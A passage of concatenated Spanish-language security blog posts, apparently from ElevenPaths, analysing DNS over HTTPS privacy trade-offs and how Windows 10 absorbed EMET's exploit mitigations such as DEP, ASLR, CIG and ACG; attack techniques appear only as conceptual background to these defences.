privacidad. No porque no se haya propuesto (de hecho hay decenas de propuestas alternativas o complementarias entre sí), sino porque ninguna se ha adoptado masivamente. Desde DNSSEC, pasando por DNS over TLS (DoT), que como se intuye, es seguir con el mismo protocolo DNS, pero con un túnel TLS (algo así como POP3 Y SPOP3). DoT, lo más parecido a DoH, utiliza el puerto 853 y efectivamente, también oculta el contenido del tráfico y autentica al servidor. Este RFC se propuso en 2016. Pero no ha calado tanto como se esperaba. Desde luego, no ha causado el revuelo levantado con DoH. Por cierto, también existe DNS over DTLS, DNS over QUIC, DNS over TOR... Existe hasta un DoH que devuelve un Json, pero esto es una adaptación especial que usa Google (aunque también lo hace Cloudfare) más potente (por ejemplo, permite consultar otros registros que no sean solo A o AAAA). En estas imágenes se observa cómo usar DoH a través de las APIs de Google y Cloudfare y cómo devuelve un Json ¿Y por qué este revuelo? DNS es uno de los protocolos más antiguos de la red, y siempre ha sido un dolor de cabeza de de la seguridad (desde el ataque cumpleaños, hasta el problema de Kaminsky). Todo en claro, con posibilidad de UDP (más fácil aún de inyectar paquetes falsos...). Un desastre incluso sin necesidad de ataques porque los servidores pueden estar controlados por gobiernos y así redirigir o bloquear peticiones. Y todo de forma absolutamente transparente y sin privacidad ni integridad (porque DNSSEC no está tan instaurado como debería). Hemos confiado los cimientos de Internet a un protocolo que no ha sabido protegerse tecnológicamente como para que se adoptaran masivamente las soluciones (o no se ha querido, precisamente por esa misma razón) y al que se le han aplicado todo tipo de parches y cataplasmas para no romper con el legado. Tanto, que al final la propuesta para conseguir seguridad ha sido rompedora: pasar la resolución al plano de los datos. Y por si fuera poco, DoH hace que la resolución no confíe en el DNS global del sistema, sino que podrá ignorar a ese servidor DNS que habitualmente se te proporciona por DHCP... de forma que cada aplicación podrá resolver a través de HTTPS de forma estándar. Pero esto no es malo, ¿verdad?, ¿no sería maravilloso que nadie viera qué intentamos resolver, y no pudiera modificarlo de ninguna forma? Disfrazar en el HTTPS las peticiones, las respuestas, y dejarse arrastrar por la masa en un puerto que nadie puede cortar, el 443. No más espías o restricciones. Eso es lo que promete DoH, pero ¿rompe más de lo que arregla? Los navegadores lo celebran y ya lo implementan. Es su oportunidad de ganar poder, no solo porque ya conocen la tecnología HTTPS y les cuesta poco, s ino porque pueden incrustar dentro del navegador el resolvedor al que se consultará por defecto… Por ejemplo, Google ya no tendría acceso a todo lo que resuelve el mundo a través de su famoso 8.8.8.8, sino que ampliaría su porcentaje de usuarios de su DNS (alrededor del 13 %) hasta todo aquel que utiliza Chrome, que ya va por el 60 %. Lo llama "secure DNS". Ha visto la oportunidad de salirse de la tiranía del DNS de sistema justo en el lugar donde más dominios se resuelven: el navegador. Google ya usa también DoH en su aplicación Intra (publicada bajo Jigsaw Operations) que precisamente sirve para eludir bloqueos de DNS. Android, por su lado, implementa DNS over TLS en su última versión, aunque no lo han hecho demasiado público. Actualmente Cloudfare también está en el negocio de los DNS, así la compañía del famoso 1.1.1.1 se ha asociado con Firefox para ser el proveedor de resolución de confianza. De hecho, DoH en Firefox es conocido como TRR ( Trusted Recursive Resolver). Promete no usar los poquitos datos de usuarios que puedan necesitar. Por ejemplo, Cloudfare se compromete a eliminar ese envío de los 3 primeros octetos que se utilizan en una petición DNS. Ese envío de los 3 primeros octetos es un movimiento (con RFC) promovido por Google y OpenDNS en 2011 para mejorar el rendimiento DNS por localización de IP. Chrome lo implementa, pero todavía no tiene interfaz para manejarlo. Están en ello. https://chromium-review.googlesource.com/c/chromium/src/+/1194946 Firefox ya lo incorpora, desactivado por defecto ¿A nadie se le ha ocurrido el problema del SIN o los falsos certificados? Siendo sinceros, hay dos problemas graves. Ambos heredados del propio TLS. El primero, y que los más avispados ya habrán descubierto, es que hoy por hoy en el mundo TLS, el dominio que se visita queda en claro. Si alguien observa una comunicación TLS no verá nada de lo que el cliente habla con el dominio, pero sí el domino en sí. Esto se debe al SIN, Server Name Indication, que es un parámetro que se intercambia de forma natural durante el proceso de negociación TLS. Aquí, los defensores de DoH dicen que sí, vale, pero que cambiará en breve. En 2017 se aceptó como borrador este RFC que define cómo se cifrará toda comunicación TLS, incluyendo los dominios que visitas. Si esto queda cifrado en el TLS, la propia petición de resolución de DNS over HTTPS, será invisible totalmente y ahora sí, tendrá privacidad. ¿Cuánto queda para esto? No se sabe . Simplemente confían en que TLS lo adopte. Pero ojo, que un posible resolvedor tradicional (detrás del DoH) todavía verá qué dominios se solicitan, con lo que, en un momento dado, quizás se podría "ir hacia atrás" y ver quién pidió qué. Quizás lo lógico sea usar DoH como interfaz, y DoT en los servidores que realmente pueden llegar a hacer el trabajo de búsqueda del dominio en el "background" de la petición. Y todo esto añadiendo DNSSEC, puesto que es perfectamente compatible (añade integridad) y cumplen diferentes funciones. Por otro lado, otro de los graves problemas de TLS en general es el uso de certificados falsos en el servidor, que puedan permitir romper el cifrado y espiar. Esta mala práctica está al alcance de los gobiernos, y resulta paradójicamente un punto débil del DoH por usar TLS, sobre todo cuando DoH se ha diseñado precisamente para garantizar que un gobierno no pueda coartar internet a través del DNS tradicional. Un gobierno solo tendría que interponerse con un certificado falso también en el DoH (como a veces se hace para otras páginas). Pero si bien DoT sí que obliga al uso de pinning en su RFC, en DoH ni siquiera lo recomiendan… ¿No lo han previsto? Se observa que en DNS over TLS sí se indican los pines (en dnsprivacy.org) pero no se hace lo mismo en DoH. Incluso se desaconseja. Para conseguir el pinning, como otras soluciones (como en el extinto HPKP), tras el handshake TLS de DoT, el cliente calcula el SPKI del certificado basado en la clave pública y otros datos del X.509. Es exactamente igual que los pines de HPKP, solo que no hay primer traspaso. El cliente debe saberlos de antemano y almacenarlos. El papel de los navegadores y hacia dónde nos lleva esto Se supone que esto rompe el paradigma del internet conocido. Al menos plantea dudas. De hecho, Paul Vixie (uno de los padres del DNS) está radicalmente en contra, y promueve el uso de DNS sobre TLS en vez de sobre HTTPS. Una de las razones que argumenta es que (a pesar de sonar aguafiestas) se ha permitido finalmente abrir una especie de caja de Pandora, l os analistas perderán control sobre la red, la capacidad de monitorizar, se confunden protocolos de señalización y datos… Hay que tener en cuenta que este modelo otorga todavía más poder al navegador, y por tanto, al que mayor cuota de navegador dispone hoy en día: Google. Firefox tiene una política más transparente en este sentido, aunque Cloudfare podrá obtener interesante información gracias a su alianza. Sea como sea, ¿estamos centralizando demasiado el DNS, que por naturaleza nació descentralizado? DoH es simplemente una nueva forma de consumir DNS, detrás, el servidor consultado puede hacer lo que quiera (cosa que ya hace) y realmente lo que hará no es más que lo que cualquier otro resolvedor en la red. El protocolo no cambia, se modifica cómo y quién accede a él. Tampoco cambia el cifrado con respecto a DoT, solo que ahora se hace a través de un puerto 443 que esconde todo el resto de tráfico cifrado y así la resolución DNS queda perdida en el resto de consultas. Al igual que el malware aprendió (para contrarrestar la popularidad de los cortafuegos) a situar al servidor fuera de la red (en vez de convertir a la víctima en servidor abriendo un puerto); al igual que luego comprendió que era mejor dejar de usar puertos extraños (IRC, por ejemplo…) y comunicarse a través del 80, y más tarde incluso 443; al igual que hemos ido trasladando nuestro disco duro a la nube y toda aplicación al navegador… DNS se une a esta corriente, de forma que replantea su funcionamiento tradicional. Todo esto plantea dudas de cómo se configurará la resolución en los sistemas. No vaya a ser que lo que se temía que antes hicieran los gobiernos, puedan ahora conseguirlo los dueños de las aplicaciones o grandes centralizadores de DNS. O todo lo contrario... En el futuro , quizás bajemos aplicaciones con su propio DoH incorporado, y aceptaremos cambios en las consultas DNS por el hecho de aceptar los términos y condiciones que nadie lee… ¿Y qué pasa con algo tan común en seguridad como el poder de filtrar dominios a nivel de DNS? Pues no sería posible con DoH, pues el navegador podría seguir visitando ese phishing o command a control a pesar de haberlo bloqueado en el DNS de la compañía. ¿Le estamos haciendo un favor al malware a cambio de privacidad para el usuario y poder para el navegador? Pero DoH también abre nuevas posibilidades. Para que esto funcione, se utiliza el multiplexado de HTTP/2 , que abre a su vez otras vías, gracias al push que permite resolver más dominios de una sola tacada. Es más, permite reducir el problema del "leakage" del SNI. ¿Por qué? En HTTP/2 se reutilizan las conexiones. Con una primera conexión a un sitio, el navegador puede saber ya otros sitios que aloja ese mismo servidor y reutilizar esa misma conexión para realizar las visitas. Si la conexión está cifrada… se reaprovecha el canal sin necesidad de enviar de nuevo el SNI. Como pocas páginas están ya en un solo servidor, esto ocurrirá las más de las veces. En resumen: en local, atentos a vuestros navegadores y, si observáis algo que no concuerde al resolver dominios en vuestros sistemas, ya sabéis por dónde pueden ir los tiros; el global... a ver qué nuevos paradigmas nos trae este protocolo. Sergio de los Santos Innovación y laboratorio en ElevenPaths ssantos@11paths.com @ssantosv

Es complicado entender todo el entramado que está montando Microsoft alrededor de Windows 10, con medidas de seguridad cada vez más integradas y complejas. Es muy positivo, sino fuera porque algunas medidas están adquiriendo una complejidad tal que para el usuario medio (poco instruido en seguridad) le resultan poco menos que esotéricas, incompresibles y por tanto, inútiles si no están activadas por defecto (que muchas no lo están). Hablamos en esta entrega de qué técnicas que se introdujeron con EMET han sido completamente “absorbidas” por el sistema operativo, de forma que no es necesario ningún tipo de configuración adicional para disfrutarlas. A principios de 2016, Microsoft daba a entender que mataba a EMET, pero que Windows 10 suplía casi todo lo que ofrecía esa herramienta. No es del todo cierto hoy, aunque era aún menos cierto entonces. Se justificaba con frases tales como que Windows 10 disponía de funcionalidades mejores o equivalentes a EMET como Device Guard, CFG y AppLocker. Esto era comparar huevos y castañas. Device Guard es una especie de AppLocker muy avanzado, e impide la ejecución de software desconocido. ¿Qué tiene eso que ver con la mitigación de exploits? CFG sí que absorbe algo de EMET… pero esto requiere una explicación mucho más detallada porque, ¿cómo se combaten las técnicas de creación de exploits actualmente?, ¿cómo se implementan las técnicas anti-rop en un mundo sin EMET?, ¿qué se gana y qué se pierde con Windows 10 sin EMET (porque recordemos que bloquearon su ejecución en este sistema operativo)? Tabla obsoleta Hace algún tiempo, se hizo una comparación de funcionalidades en esta dirección, donde fundamentalmente se podría extraer este cuadro como resumen y resultado. Pero esta tabla ya está obsoleta (además de no ser totalmente exacta según Ionescu). Existe otra comparación de “Windows Defender Exploit Guard” contra EMET, menos técnica, que Microsoft muestra aquí, y en la que se preocupan de que bajo la columna de EMET, aparezcan más aspas rojas comparando peras y manzanas. Lo más parecido a la comparación anterior la realizó en 2017 Microsoft (con una apariencia sospechosamente parecida), donde dibujó su propia tabla “técnica” comparando EMET con las funcionalidades de Windows 10. Tabla más reciente, pero obsoleta Aquí parece que Windows 10 sin EMET no “pierde” tantas cosas, apenas 7 funcionalidades. Pero, teniendo en cuenta que esta información viene del propio fabricante, siempre es conveniente mirarla con lupa. Es más, también está obsoleta, puesto que se introdujeron bastantes cambios con la versión 1709 (Falls creators update). ¿Es bueno, es malo… debería darnos igual? Empecemos explicando los conceptos, diferenciando lo que ya trae Windows 10 de serie, qué no trae, y si es realmente importante o no. Lo que ya trae Windows 10 de serie DEP: Los principales fabricantes de procesadores acordaron hace ya muchos años que, para intentar impedir los típicos desbordamientos que inundaban la parte de la pila de datos con código, había que dejar claro en el procesador qué son datos y qué es código, en memoria. Puesto que el atacante inyecta código a través de una variable (datos), si se diferencian bien estas páginas (se hace a través de un bit) en memoria, el atacante quizás pueda inyectar código, pero no podrá “ejecutarlo” porque el procesador no le dará “permiso”. Así que, como si de permisos en ficheros se tratara, se incluyó en los procesadores (aproximadamente desde 2005) tecnología capaz de marcar páginas de memoria como “no ejecutables” si se lo dice el sistema operativo. Cada fabricante llama a esta tecnología de una forma. AMD lo llama NX (No-eXecute page protection), ARM lo llama XN (eXecute Never) e Intel XD (eXecute Disable bit). Como curiosidad, en la BIOS podréis ver fórmulas diferentes para activar o no esta opción. Así, Intel utiliza a veces la terminología DEP (Data Execution Prevention) en sus BIOS para referirse a la activación de XD. AMD a veces lo llama “Enhanced Virus Protection”, una desafortunada terminología que sólo puede confundir al usuario cuando lo que se quiere decir es que se hace uso del bit NX. Eludir DEP (junto con ASLR) es lo fundamental que hace un atacante para intentar ejecutar código por culpa de una vulnerabilidad. Muchas de las tecnologías en la tabla de arriba tratan de evitar que un atacante se salte DEP a la hora de crear un exploit. Más concretamente, luchan contra lo que podríamos llamar “la criptonita” de DEP, esto es las técnicas ROP. ASLR: Lo que hace ASLR es que esa dirección de carga de las DLL de sistema cambie en cada reinicio de cada máquina, independientemente de la dirección “image base” definida en el binario. Y no sólo a las DLL de sistema, cualquier DLL o EXE puede utilizarse para buscar direcciones de retorno o direcciones de APIs necesarias para un exploit. De forma que el método se ocupa de cargar los procesos en espacios más o menos aleatorios, de forma que no pueden ser predichas de forma sencilla. Al menos, un atacante tendría que probar un número significativo de valores (mejorados en los últimos Windows con mayor entropía) para poder acertar con la dirección adecuada. Incluso así, este valor no sería el mismo en cualquier otro sistema Windows, por lo que un sistema automatizado de ataque (o sea, un gusano) tendría que adivinar en cada sistema atacado la dirección concreta. Es la razón por la que no se estilan ya gusanos como Sasser o Blaster. Si ha existido Wannacry en 2017 es porque el fallo que aprovechado no necesitaba explotar una vulnerabilidad en concreto, sino más bien era un grave problema de diseño. ¿Y dónde colocas ese código del proceso que se va a lanzar? A veces ASLR no es totalmente aleatorio en ciertas aplicaciones. Esto se mejora con BottonUp ASLR (que lo introdujo EMET). La dirección base del código que una aplicación coloca en memoria se calcula de tres formas: bottom-up (VirtualAlloc, por defecto) busca zonas libres desde abajo a arriba, top-down (VirtualAlloc si se llama con MEM_TOP_DOWN, busca de arriba abajo), o “based” si a VirtualAllo se le pasa una dirección concreta. Desde Windows 8, lo que se hace es empezar en puntos aleatorios a buscar (hacia arriba, o hacia abajo, según el caso) el hueco en memoria para colocar el código. Cuando se añade bottom-up randomization, no solo se elige una base diferente cada vez, sino que se empieza a buscar de forma aleatoria el hueco, para que no siempre quede el mismo y sea más impredecible. Por tanto se añade entropía. Pero ojo, que bottom-up randomization depende de que la aplicación quiera ASLR explícitamente. Desde aquí se pueden forzar opciones como ASLR y sus variaciones a diferentes aplicaciones aunque no opten a ello Recordemos que los ejecutables eligen ser aleatorizados al lanzarse, y todo lo que se compile con VisualStudio desde 2010 lo tiene marcado por defecto. Existe la opción de hacerlo “mandatory” para todas las aplicaciones, aunque no opten explícitamente a ello. Esto se podía con EMET y con Windows 8 y 10, claro. Y además esto se puede hacer para todo el sistema, o por aplicaciones. SEHOP, Structure Exception Handler Overwrite Protection: Sobrescribir la SEH se ha convertido en casi un estándar a la hora de ejecutar código. Según indica la propia documentación de EMET, el 20 % de los exploits de Metasploit utilizan esta técnica. Esta protección está incrustada desde Vista. Con esta directiva activada, Windows previene que se sobrescriban los registros de manejadores de excepción. Desde 2008 y Windows 7, además, puede activarse a nivel de proceso y no solo a nivel de todo el sistema. Para conseguirlo, se puede añadir esta rama del registro por programa y establecer dentro la directiva DisableExceptionChainValidation como DWORD con valor 0. Pinning: EMET permitía realizar pinning para Internet Explorer. Fue un tímido intento, pero que no prosperó. Para ser justos, es cierto que lo que dicen que ahora sirve para “pinear” es horrible desde muchos puntos de vista. Enterprise Certificate, se llama y es de todo menos intuitivo. Fonts: Desde que Windows decidió (cuando escaseaban los recursos) integrar algunas partes de su interfaz en el kernel, muchas funciones gráficas suponen un riesgo adicional. Desde entonces, son cientos las vulnerabilidades que han permitido elevar privilegios cargando fuentes mal formadas, debido a algún fallo al ser procesadas con el Graphics Device Interface (GDI). Esto permitía que, aunque se abriese un documento o se navegara a veces con los mínimos privilegios, al procesar una nueva fuente y aprovechando una vulnerabilidad, se llegase a ejecutar código con mayores privilegios. Esta mitigación permite bloquear la carga de fuentes que no estén ya en el directorio de sistema %windir%/Fonts. Se bloquea todo por defecto, y luego se permite crear excepciones por programa. Se introdujo en EMET pero solo para Windows 10 (que ya la traía de serie). Nullpage: Esta técnica impide que se utilice una página nula como dirección de memoria virtual. Es también una técnica habitual para lanzar un exploit, gracias a los fallos de “null pointer dereferences”. EMET bloqueaba esa dirección para que no pudiera ser usada por un exploit, pero Windows 10 ya lo hace por defecto. Así, los 64 kilobytes de cada proceso quedan reservados exclusivamente para el sistema, y no se puede sobrescribir esa parte. LoadLib: El shellcode necesita habitualmente cargar librerías para tener acceso a APIs de sistema. Lo que hace esta mitigación es que, cuando se llama a las funciones que permiten cargar librerías, se intenta comprobar que son válidas y no vienen de un shellcode. EMET lo hacía y fue incorporado a Windows 10. Memprot: Es como un doble DEP. Aunque se usen técnicas ROP para eludir DEP, memprot intentará comprobar si se ha conseguido (llamando a VritualProtect con técnicas ROP), marcar la pila de datos como ejecutable o sea, si se ha conseguido eludir la protección DEP. De nuevo, EMET introdujo esta mitigación y más tarde fue incorporado a Windows 10. Atención, para que estas dos últimas tengan sentido, el programador debe haber compilado las aplicaciones para que así sea. Desde aquí se pueden forzar muchas de estas opciones de seguridad a los procesos, como se hacía con EMET en su momento Lo que trae Windows 10 a partir de 1709 (Falls Creator Update, de octubre de 2017) Estas funciones, las tenía EMET y solo aparecen en los últimos Windows 10. Si bien esta comparación no es totalmente justa (quizás habría que incluir otras funcionalidades de Windows 10 que EMET no traía), vamos a explicar qué se han dejado para el final. Antes de introducirlas explícitamente, alegaban que estas tres no hacían falta porque CFG lo suplía. Bueno, no es del todo cierto porque CFG está roto. De hecho aun así las han introducido finalmente. Esto sirve para forzar y proteger aplicaciones que no estén compiladas con CFG. SimExecFlow: Básicamente, se encarga de mirar en las instrucciones un poco hacia delante en el código por si hay muchos “returns”, lo que indicaría que se están usando técnicas ROP. Simula el flujo de ejecución para intentar “ver” técnicas extrañas. Caller: También mira en las instrucciones alrededor del return (antes de que se llama a una API considerada crítica) para asegurarse de que hay un call previo y no un RET o JMP, típico del shellcode. Stackpivot: Lucha contra la técnica habitual de mover el puntero de la pila adonde se quiera a la hora de crear un exploit. ESP debe mantenerse dentro de unos límites lógicos, y si se sale, algo extraño ocurre. De nuevo, esta técnica se enmargca dentro de una especie de “predictor” de código parecido a exploits. Nuevas opciones en Falls Creator Update EAF: Otra técnica para crear exploits sin que le estorbe el ASLR. El shellcode normalmente accede a la Export Table de una librería e intenta resolver la dirección de las API, habitualmente GetProcAddress. Export Address Table Filtering (EAF) y EAF+ son técnicas que incluyó EMET que pretenden filtrar ese acceso, para que no cualquiera pueda llegar a una DLL y pedir la dirección de esas funciones necesarias para ejecutar el código. Aparecieron varios trucos para eludirla: por ejemplo, acceder a la Import Table de una librería que se importe en cada proceso. El propio Microsoft avisaba en general de que EAF es un método de protección "débil" por sí mismo. Esta es curiosa porque según la propia Microsoft, no se ha implementado. Aunque se pueden encontrar otra documentación donde sí se admite que se ha hecho. En la versión en español parece que se han equivocado con las siglas... Versión en español (mal traducida) y versión en inglés Lo que todavía no trae Windows 10 HeapSpray: EMET protegía también contra el Heap Spary, que a su vez es una técnica de creación de exploits para intentar eludir ASLR. Consiste en rellenar una parte de la memoria con el propio shellcode, porque después del salto a una DLL conocida, no se puede estar completamente seguro de dónde aterrizará el puntero de instrucciones, así que en cuántos más sitios pueda colocar su código, más posibilidades de acertar. EAF+: EAF+ es exactamente lo mismo que EAF pero con una lista negra de librerías predefinidas y solo en principio solo estaba en Internet Explorer. Flash.ocx por ejemplo, estaba en la lista negra, por tanto al atacante no le vale con eludir EAF con las múltiples técnicas conocidas, sino que para explotar esa librería necesitaría que la librearía donde quiere apoyarse no estuviese en la lista negra. En realidad sí parece estar implementado bajo el comando "EAFModules : {}", pero parece estar totalmente "hardcoded", de forma que no parece configurable (solo por línea de comando) ni parecen haber incluido ningún dato por defecto. ¿Entonces en qué quedamos? Como era lógico, Windows 10 ha seguido esta estrategia: Incorporar rápidamente de EMET las mitigaciones antiexploits que menos problemas y mejor resultado han dado. Incorporar en Windows 10 otras nuevas más fáciles de desarrollar y más eficaces desde el propio core del sistema (no tan sencillo a través de EMET). Ha dejado las experimentales para lo último, o incluso algunas pueden no ser necesarias de trasladar por el hecho de usar CFG, por ejemplo. Pero no todo es tan sencillo. Por varias razones: Microsoft está desincentivando el uso de EMET en Windows 10, pero no se consigue cubrir exactamente el mismo espectro de protección. Sin embargo, sigue aconsejándolo en versiones anteriores. Lo cierto es que casi todas las técnicas son eludibles con mayor o menor problema, especialmente las que Windows 10 se ha dejado para el final, con lo que quizás no se echen tanto de menos o no se gane demasiado. Otras como EAF+ y HeapSpray sí le parecen buenas técnicas que se pueden echar de menos. De hecho, Microsoft se comprometía a estudiar cómo introducirlas en Windows 10 según vayan viendo. Todo es muy cambiante, en cuestión de meses introducen y modifican funcionalidades, con lo que la propia documentación oficial puede resultar confusa. Otro consejo es que si queréis entender algo, no uséis Windows 10 en español, o tened uno en inglés cerca para comparar. En las siguientes entradas, seguiremos ahondando en qué otras funcionalidades se han introducido en Windows 10 contra la ejecución de código. Consulta el resto de entregas sobre "La lucha de Windows contra la ejecución de código": » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (I) » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (II) » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (III) » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (IV) » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (V) » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (VI) » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (VII)

Es complicado entender todo el entramado de seguridad que está montando Microsoft alrededor de Windows 10, con medidas de seguridad cada vez más integradas y complejas. Es muy positivo, sino fuera porque algunas medidas están adquiriendo una complejidad tal que para el usuario medio (poco instruido en seguridad) le resultan poco menos que esotéricas, incompresibles y por tanto, inútiles si no están activadas por defecto (que muchas no lo están). Hablamos en la anterior entrega de Windows Defender Exploit Guard englobada dentro de lo que Microsoft llama Windows Defender. Veamos concretamente en estas entradas, qué técnicas a bajo nivel utiliza. La tecnología específica de Windows Defender para evitar los exploits es "Exploit Guard". Desde la entrada anterior, nos centramos en Exploit Protection. Vamos a cubrir ahora algunas técnicas de protección contra exploits, heredadas de lo que se comenzó con EMET y hoy en día integradas en Windows 10. En concreto, veremos en esta entrada cómo evitar que se cargue código en memoria (que suele ocurrir un poco después de la explotación exitosa de alguna vulnerabilidad). CIG Code Initegrity Guard El atacante ha conseguido que su exploit funcione, superando las técnicas propias "anti-exploit". Ahora necesita cargar instrucciones en memoria, y tiene dos fórmulas para conseguirlo: Cargar un fichero que ya esté en disco Construir o generar el código en memoria Esto último es mucho más habitual, pues el atacante no sabrá normalmente qué hay en disco, o lo que haya no le interesará especialmente para el fin de completar la ejecución. Aunque la primera circunstancia también puede darse, si ha conseguido ya descargar algo (y quiere inyectarlo en memoria como segunda fase), o necesita de una DLL legítima para completar su ataque… en definitiva, son dos estrategias que pueden darse en un ataque, aunque con diferente frecuencia. Inyectar DLLs no deseadas es especialmente habitual para atacar navegadores pues mucho adware se incrusta así en el sistema modificando el comportamiento del navegador (algo que ha sido muy popular durante los últimos años para "secuestrar" el navegador o entre los troyanos bancarios). En el contexto de Microsoft Edge, CIG restringe la inyección o carga de DLLs en memoria a las que estén firmadas. En resumen, Edge solo dejará inyectarse en memoria, DLLs firmadas por la propia Microsoft y por tanto con un mínimo de garantías de legitimidad. Cualquier programador ajeno a Microsft, tiene que pedir que la firmen para poder inyectarse en Edge. Como podéis imaginar, no es más que una evolución de la política de drivers firmados que comenzó hace muchos años. CIG comienza a aplicarse en Windows 10 (update 1511) y se enmarca dentro de la política de UMCI (User Mode Code Integrity) que ofrece al kernel la posibilidad de marcar los procesos (en las últimas versiones, en tiempo de creación) con las habilidades de crear procesos hijo (o no), o cargar DLLs más "integras" firmadas, por ejemplo como es el caso de CIG. Como siempre nos preguntamos... ¿Es eludible CIG?. Sí, CIGslip es cómo llamaron a una técnica, bastante reciente. Crearon una prueba de concepto, que se basa en apoyarse en procesos que no tengan el CIG habilitado. Hookean el método "createsection" antes de que pase por el kernel y obtienen un manejador sin restricción al proceso… Aun así, el ataque sigue y no mereció el bounty en opinión de Microsoft. Documentación oficial, cómo crear un proceso con los parámetros necesarios para aplicar las diferencias políticas de mitigación, entre ellas CIG ¿Viene habilitado por defecto? Sí, excepto si usas extensiones IME en Edge (paquetes de idiomas para caracteres no occidentales como Japonés o Chino que permiten escribir en ese idioma sin un teclado especial…) porque si es así, no están activos por defecto. Suponemos que dispararían mucho falso positivo. ACG también viene deshabilitado por defecto cuando hay paquetes IME. Hablemos de ACG. Arbitrary Code Guard ACG Este es el complemento de CIG pero en dinámico, en memoria, porque, si bien gracias a CIG un proceso no puede cargar binarios no firmados… ¿qué pasa si el código cambia una vez mapeado el fichero en memoria? ¿Qué pasa si se construye el código al vuelo? (que es lo habitual) ACG Cubre la integridad de las páginas de memoria para que un proceso no pueda realocarlas o remapearlas… o sea, la integridad de los procesos, no de los binarios. Bastante interesante técnica teniendo en cuenta que impide hacer un VirtualAlloc y VirtualProtect, parte fundamental de la inmensa mayoría de los procesos de explotación que acaban en ejecución de código arbitrario, porque ahí crean "dinámicamente" la página y cuelgan en ella el código. Se consigue como el resto de mitigaciones, llamando a la api SetProcessMitigationPolicy con la constante PROCESS_MITIGATION_DYNAMIC_CODE_POLICY para el proceso. En la práctica, las páginas de memoria son ahora inmutables y no se puede hacer el típico PAGE_EXECUTE_READWRITE con VirtualAlloc para crear una nueva, o VirtualProtect para modificar las existentes. Interesante e innovador, de esta forma no se puede cargar código sin firmar ni dinámico ni estático pero... ¿Qué pasa con el código compilado JIT? La copilación "just in time" por ejemplo se encarga de procesar JavaScript, dentro del navegador, y constantemente crea "código" en el proceso del navegador que no estará firmado, pero que aun sin ser un ataque, sería impedido por la política de ACG. Ante esta problemática, lo que han hecho en Microsoft es crear en Chakra (el motor de JavaScript) como un proceso aparte sin ACG y con su propia sandbox para procesar el código JIT. Un programa cualquiera que no puede lanzarse porque no se permite ACG Esta tecnología es tan "innovadora" que están en constante "tanteo" para aplicarla. Puede ser incompatible con muchos programas. Así que por ahora, ACG solo está activa por defecto en Edge en sistemas de 64 bits con WDDM 2.2 (la arquitectura gráfica de Window). Para saber tu WDDM, ejecuta dxdiag... Un sistema con WDDM 2.1 También, aunque parezca extraño, se puede forzar a que Edge utilice ACG marcando esta opción en el navegador. Marcando esta opción se activa "Dynamic code prohibited" (o sea, ACG) en Edge Por tanto, muy pocos tendrán esta tecnología activada o funcionará sobre muy pocos programas… Para colmo, hasta hace no mucho con ACG se activaba también el AllowThreadsToOptOut en "ON", que permitía que se salieran de esta políticas las hebras de los procesos y por tanto facilitaba desactivar la técnica. En mayo de 2018 desde Project Zero de Google se analizaron detenidamente algunos de los problemas (y decimos "problemas" y no "vulnerabilidades" directamente) de ACG. Se reportaron pero como no se arreglaron en 90 días, se hicieron públicos. En realidad, la conclusión es que no está mal, tiene algunos problemas de diseño porque todavía se aplica una política muy laxa, pero lo princiipal es que, (en realidad como casi todo) no será efectiva si no se utiliza conjuntamente con CFG y CIG, porque por ejemplo, para intentar eludir ACG, es necesario ya haberse saltado CFG, cosa que no es difícil. La estrategia es introducirla muy lentamente porque no quieren romper nada. A todo esto, aun con estas técnicas, los exploits a través de técnicas ROP (tomar de aquí y de allí instrucciones de tipo RETURN para crear código ejecutable que pasa "desapercibido") siguen pudiéndose hacer, eso sí, algo más complicado porque no solo se debe crear con gadgets la fase de creación de la memoria ejecutable, sino que todo el payload tendría que hacerse con ROP… así que veremos algo más de esto en las próximas entradas. Consulta el resto de entregas sobre "La lucha de Windows contra la ejecución de código": » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (I) » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (II) » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (III) » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (IV) » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (V) » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (VI) » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (VII)

Es complicado entender todo el entramado de seguridad que está montando Microsoft alrededor de Windows 10, con medidas de seguridad cada vez más integradas y complejas. Es muy positivo, sino fuera porque algunas medidas están adquiriendo una complejidad tal que para el usuario medio (poco instruido en seguridad) le resultan poco menos que esotéricas, incomprensibles y por tanto, inútiles si no están activadas por defecto (que muchas no lo están). Nos encontramos así con que buena parte de la cuota de mercado (usuarios "medios") a los que va destinado el propio sistema operativo, no va a comprender o saber aprovechar estas ventajas. Si nos centramos en perfiles más profesionales (administradores de directorio activo y entornos corporativos), el problema es que… probablemente los administradores tampoco tengan tiempo de configurar correctamente el sistema o resulte excesivamente intrusivo (y tampoco tienen tiempo para pruebas de ensayo y error en producción). En este sentido, cabe plantearse incluso si de verdad (hoy por hoy) Windows 10 es la versión predominante en sistemas de escritorio de empresas y este perfil podría aprovechar estas técnicas. Pero veamos cuáles son estas técnicas actuales. ¿Cómo hemos llegado hasta aquí? El saber popular afirma desde los 90 que Windows es un desastre en seguridad. Como todo saber popular, resulta conflictivo contradecirlo. Lo que sí se puede afirmar es que Windows 10 es el sistema con más medidas de seguridad integradas de serie. Y destaca especialmente en las medidas concretas que sirven para evitar la ejecución de código. A saber: MemGC, CFG, DEP, CIG, ACG, ASLR, CES, IAF… y derivadas son algunos ejemplos. Este es el hecho "en frío". Veamos ahora si sirven para algo, si resultan un mero festival vacío de acrónimos, si las tenemos activadas de serie, si las entendemos… Porque por ejemplo, recientemente Microsoft dejó de pagar por fallos encontrados en CFG, una tecnología que parece que no ha resultado tan útil como esperaban. Ya no pagan más por encontrar fallos en CFG... "comprendieron sus limitaciones" Así que con éxitos y fracasos, desde el lejano Windows XP, lo cierto es que la lucha contra la "ejecución de código no solicitado" (entre otros frentes abiertos) en Microsoft ha traído bastante innovación a Windows 10, y con ello fusiones de herramientas (unas más útiles que otras), tecnologías, reorganizaciones de configuración y un largo etcétera que pasamos a analizar. Las motivaciones Vulnerar un sistema operativo es un fin para los analistas (mejoran, obtienen reconocimiento, 